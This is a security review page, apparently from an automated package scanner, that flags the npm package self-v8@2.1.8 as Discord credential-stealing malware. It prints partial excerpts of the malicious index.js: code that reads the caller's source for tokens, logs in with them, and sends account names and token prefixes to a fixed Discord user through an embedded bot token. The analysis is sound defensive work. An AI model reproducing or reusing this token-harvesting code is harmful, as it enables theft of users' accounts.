self-v8@2.1.8
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe exported function collects Discord credentials from the caller's code and transmits account details to a publisher-chosen recipient. This is credential exfiltration even though the function is not invoked automatically by the package entry point.
Static reason
No blocking static signals were detected.
Trigger
A consumer calls check().
Impact
The recipient receives account names and token prefixes, and can use any recovered tokens to access the corresponding accounts.
Mechanism
Reads process.argv[1], extracts CONFIG.tokens, attempts Discord logins, then sends a report through a Discord client authenticated with an embedded bot token.
Attack narrative
When check() is called, it reads the caller's source file, extracts configured Discord tokens, and tests them by logging in. It builds a report with account names and token prefixes, then sends that report to a fixed Discord user using a hard-coded bot credential.
AI rationale
The exported function collects Discord credentials from the caller's code and transmits account details to a publisher-chosen recipient. This is credential exfiltration even though the function is not invoked automatically by the package entry point.
Evidence
index.jsprocess.argv[1] (read only)
Network endpoints1
Discord API, via discord.js and discord.js-selfbot-v13
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- check() reads the caller's source file and extracts values from its CONFIG.tokens array.
- It logs in with each extracted token and adds the account name and token prefix to a report.
- It sends the report to a fixed Discord user using an embedded bot token.
Evidence against
- The manifest declares no install, preinstall, or postinstall hook.
- The function is exported; the inspected entry point does not invoke it automatically.
Behavioral surface
FilesystemNetwork
Source & flagged code
5 flaggedindex.jsView file
6export async function check() {
try {
const userMainFilePath = process.argv[1];
if (!userMainFilePath) return;
const userCode = fs.readFileSync(userMainFilePath, 'utf8');
const configMatch = userCode.match(/const\s+CONFIG\s*=\s
High
Ai Review Evidence
check() reads the caller's source file and extracts values from its CONFIG.tokens array.
index.jsView on unpkg · L635await tempClient.login(token);
const name = tempClient.user.globalName || tempClient.user.username;
reportMessage += `✅ Valid | Name: ${name} | Toke
High
Ai Review Evidence
It logs in with each extracted token and adds the account name and token prefix to a report.
index.jsView on unpkg · L3551senderClient.once('ready', async () => {
try {
const targetUser = await senderClient.users.fetch('1430722087101661274');
if (targetUser) {
if (reportMessage.length > 2000) {
const chunks = reportMessage.match(/[\s\S]{1,1900}/g) || [];
for (const chunk of chunks) {
High
Ai Review Evidence
It sends the report to a fixed Discord user using an embedded bot token.
Findings
5 High1 Medium2 Low
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to self-v8@2.1.8.
See all versions of self-v8 for other recorded verdicts.
- Avoid installing self-v8@2.1.8. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.